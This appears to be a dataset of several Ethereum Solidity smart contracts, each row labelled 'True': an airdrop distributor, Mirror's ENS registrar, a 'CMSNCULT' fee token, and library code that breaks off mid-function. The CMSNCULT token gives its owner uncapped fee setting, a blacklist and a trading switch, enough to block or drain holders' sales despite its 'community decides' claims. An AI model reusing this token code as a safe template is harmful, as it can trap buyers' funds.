function addArea(uint starLimit,uint8 TeamMemberlimitCount,uint8[] roletype,uint _totallimitTeamCount,string name,uint ZOBRevenue,bool isOpen,uint32 duration) public onlyOwner{
areas.push(Area(starLimit, TeamMemberlimitCount, roletype, _totallimitTeamCount, 0, name, ZOBRevenue, isOpen, duration));
}
function closeArea(uint areaId) public onlyOwner{
areas[areaId].isOpen = false;
}
} | True | [
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pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/TokenDistribution.sol
contract TokenDistribution is Ownable {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
function TokenDistribution(
ERC20 _token,
address _wallet) public
{
require(_token != address(0));
require(_wallet != address(0));
token = _token;
wallet = _wallet;
}
function sendToken(address[] _beneficiaries, uint256 _amount) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
require(token.transferFrom(wallet, _beneficiaries[i], _amount));
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-05
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function setRecord(
bytes32 node,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
interface IENSResolver {
event AddrChanged(bytes32 indexed _node, address _addr);
event NameChanged(bytes32 indexed _node, string _name);
function addr(bytes32 _node) external view returns (address);
function setAddr(bytes32 _node, address _addr) external;
function name(bytes32 _node) external view returns (string memory);
function setName(bytes32 _node, string calldata _name) external;
}
interface IENSReverseRegistrar {
function claim(address _owner) external returns (bytes32);
function claimWithResolver(address _owner, address _resolver)
external
returns (bytes32);
function setName(string calldata _name) external returns (bytes32);
function node(address _addr) external pure returns (bytes32);
}
interface IMirrorENSRegistrar {
function changeRootNodeOwner(address newOwner_) external;
function register(string calldata label_, address owner_) external;
function updateENSReverseRegistrar() external;
}
contract MirrorENSRegistrar is IMirrorENSRegistrar, Ownable {
// ============ Constants ============
/**
* namehash('addr.reverse')
*/
bytes32 public constant ADDR_REVERSE_NODE =
0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
// ============ Immutable Storage ============
/**
* The name of the ENS root, e.g. "mirror.xyz".
* @dev dependency injectable for testnet.
*/
string public rootName;
/**
* The node of the root name (e.g. namehash(mirror.xyz))
*/
bytes32 public immutable rootNode;
/**
* The address of the public ENS registry.
* @dev Dependency-injectable for testing purposes, but otherwise this is the
* canonical ENS registry at 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e.
*/
IENS public immutable ensRegistry;
/**
* The address of the MirrorWriteToken that gates access to this namespace.
*/
address public immutable writeToken;
/**
* The address of the MirrorENSResolver.
*/
IENSResolver public immutable ensResolver;
// ============ Mutable Storage ============
/**
* Set by anyone to the correct address after configuration,
* to prevent a lookup on each registration.
*/
IENSReverseRegistrar public reverseRegistrar;
// ============ Events ============
event RootNodeOwnerChange(bytes32 indexed node, address indexed owner);
event RegisteredENS(address indexed _owner, string _ens);
// ============ Modifiers ============
/**
* @dev Modifier to check whether the `msg.sender` is the MirrorWriteToken.
* If it is, it will run the function. Otherwise, it will revert.
*/
modifier onlyWriteToken() {
require(
msg.sender == writeToken,
"MirrorENSRegistrar: caller is not the Mirror Write Token"
);
_;
}
// ============ Constructor ============
/**
* @notice Constructor that sets the ENS root name and root node to manage.
* @param rootName_ The root name (e.g. mirror.xyz).
* @param rootNode_ The node of the root name (e.g. namehash(mirror.xyz)).
* @param ensRegistry_ The address of the ENS registry
* @param ensResolver_ The address of the ENS resolver
* @param writeToken_ The address of the Mirror Write Token
*/
constructor(
string memory rootName_,
bytes32 rootNode_,
address ensRegistry_,
address ensResolver_,
address writeToken_
) public {
rootName = rootName_;
rootNode = rootNode_;
writeToken = writeToken_;
// Registrations are cheaper if these are instantiated.
ensRegistry = IENS(ensRegistry_);
ensResolver = IENSResolver(ensResolver_);
}
// ============ Registration ============
/**
* @notice Assigns an ENS subdomain of the root node to a target address.
* Registers both the forward and reverse ENS. Can only be called by writeToken.
* @param label_ The subdomain label.
* @param owner_ The owner of the subdomain.
*/
function register(string calldata label_, address owner_)
external
override
onlyWriteToken
{
bytes32 labelNode = keccak256(abi.encodePacked(label_));
bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode));
require(
ensRegistry.owner(node) == address(0),
"MirrorENSManager: label is already owned"
);
// Forward ENS
ensRegistry.setSubnodeRecord(
rootNode,
labelNode,
owner_,
address(ensResolver),
0
);
ensResolver.setAddr(node, owner_);
// Reverse ENS
string memory name = string(abi.encodePacked(label_, ".", rootName));
bytes32 reverseNode = reverseRegistrar.node(owner_);
ensResolver.setName(reverseNode, name);
emit RegisteredENS(owner_, name);
}
// ============ ENS Management ============
/**
* @notice This function must be called when the ENS Manager contract is replaced
* and the address of the new Manager should be provided.
* @param _newOwner The address of the new ENS manager that will manage the root node.
*/
function changeRootNodeOwner(address _newOwner)
external
override
onlyOwner
{
ensRegistry.setOwner(rootNode, _newOwner);
emit RootNodeOwnerChange(rootNode, _newOwner);
}
/**
* @notice Updates to the reverse registrar.
*/
function updateENSReverseRegistrar() external override onlyOwner {
reverseRegistrar = IENSReverseRegistrar(
ensRegistry.owner(ADDR_REVERSE_NODE)
);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
// SPDX-License-Identifier: Unlicensed
/**
We seek to create a different project where people have a voice and a vote on the important decisions of the project.
We will create strategies in order to facilitate interaction between leaders and holders,so that a multidisciplinary team is created with people who add value to the global brand that we plan to develop.
The only cult that sticks together. We all love one thing: being a degen with diamondhands.
Strong cohesion: The community decides every move, there are no leaders
SSSLLLLLL LLLL
MMMNSSNNMMMMMMMMML
MMMSUUUSSNMMNNMMMN
LMMMNSSNSNMMNMMMNMM
MNLLLLLLLLLLLLTUSNM
UML LLLLLLTUNMU
STLLLMMNNNNSNNNMMMMNNNMMMM
MMMMSMMMUSUUUSNMNSUSSSNMMMNL
LMMMUSLUNMSUTLLLTSSSUTUMMMMMMM
UNLLMMMMMMLLMMMMMMMUNMMMMN
SL LLLLSL MSLSMNUTMS
L L ULLL TM
LL LLUL UUL LSM
L LUUL LNMMSLLLLLML
LLLSUSSNNSLTLLLSL
TLLLTNMNSNNSLLLTML
SNUNUUSLLLLULLLSNMMMLL
LTNMMNMMNLSST LLTNMNNMNMMMMMMTL
LTSMMMNNSNSSLNML UTUUSSNMMLTNMNMNMMMMMMMMNL
LMMMNSUUUSUSTTLLNMNL LLTUNSL LUMNNNMNMNMNMMMMMMMML
LMMULTTUUSUUULTLLNMMS SLTSS LNNNSSNNNNMNNNNNNNNMMMM
SNSNULTUSUUULLTUSSNMNLUMLLSMLLSNNLTTUTUNNNNNNNNSNNMM
MNSNMULSSSUSSUSMSLSMNLLMSSMNLTSMSLUSSSSNNNNNNNSNNSMM
LNSSNMNUUNSSNMMMSTLSMU LNSMMS LSMULTNMMMNNNNSSUMNUNMML
MNUUSNMNUSSNNNNSTTUSMULNSLNMN LMMTLTTSMMNNNSULNNUSMNMM
LMNLSSUNMSSNNNNTTTSUUSMMNLUSMNUNMNTTUTLUNMNNSUUNUUSNNMM
NNNSTNNSNMSNNNNNLTSNSUMMNLLSNMNTMSUSUTLSNNSSSSNNNUUNUNMM
LMUNMSSMMNNMNNNNNNLUSSUNMMUUSNMSTMTSSULNMMSUSNNNNNLSSSNMML
LMLUMNSNMMNNMSNNNNNTUSSSMMNTSNMSSSUNNUNMNNNSSNMNMNLSUSNNMM
MTLNMSNNMMMMNSSNNNMUTSUNMNLUNMNSSSNSNMMNSSSSNNNMSLUUNNMNMM
LMNLUNNSNNMMMNSNNSNMMNUUNNMSSNMMSSNSNMMNNSNSNNMNNTLLNNNNNMM
SMMNTSSNNNNMMMNNSSNMMMSSSNMNSSSNNMNMNNNNSSSNSNMNSSUNNSSNNNM
LMNNNNNNMMNMMMMMNMNULLLLLSTLLLLLLLSMMMMMNNNNMMMMMNNNNSSNSSSMM
MMMNNMMMMMMMNSSNMSL LLLUSNML LTLLLLLUUUSMMMMMNMMMNMMNNNSNNNMMS
TMNUUUULLLLLLLLTSLLLLLLLLLLLU LSSUUUTTTLLLLLLSUTTLTTUUSSSSSSNMM
MNLLLLLLLLLTTLTMUUTLLLLLSUTLLSSNLTLLLLTTLTLLLLSNTUUUUSSNSNSSSMMN
MSSTTTUUSSSSSLNMNSSUTLLLUTUSNMNMNUUTUTSTTTUTUTNMSUSSSSSSNNNNNNMML
MMNNNNNNSSSNNTNMMNNNSSLLSMNSSNSNNULLUNMMNSSSSNNMNSSNSNNNNNNNNMMML
SMMMMMMNNNNSNSMMMMMMMMNNNNNSNNNNMMMMMMMMMMMMMNMMNSNNNNNNMMMMMMML
NMMMMMMMMNNNNMMMMMMMMMNNNMNMNMMMMMNMNMNMMNMMMMNMNNNMMMMMMNL
LUMMMMMMMNMMMMMMMNNNNNNNNNNMMMMMMMMMMMMMMMMMMMMMMMM
LNMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMNNSSUTLTNMS
LLMMMMMMMMMMMMMMMMMNLL LLLLL
LLS
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CMSNCULT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CMSNCULT DAO";
string private constant _symbol = "CMSNCULT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xC9Db663Af58e07cCe8cAE1273b87F2816987769E);
address payable private _marketingAddress = payable(0xDca9Ef8763d20F503f102cB78BeE07141b3F46B5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6666666666666 * 10**9;//1% maxTransactionAmountTxn
uint256 public _maxWalletSize = 6666666666666 * 10**9;//1% maxWallet
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(
address indexed previousOwner,
address indexed newOwner
);
event OwnershipPulled(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyPolicy {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_)
public
virtual
override
onlyPolicy
{
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint256 c) {
if (a > 3) {
c = a;
uint256 b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
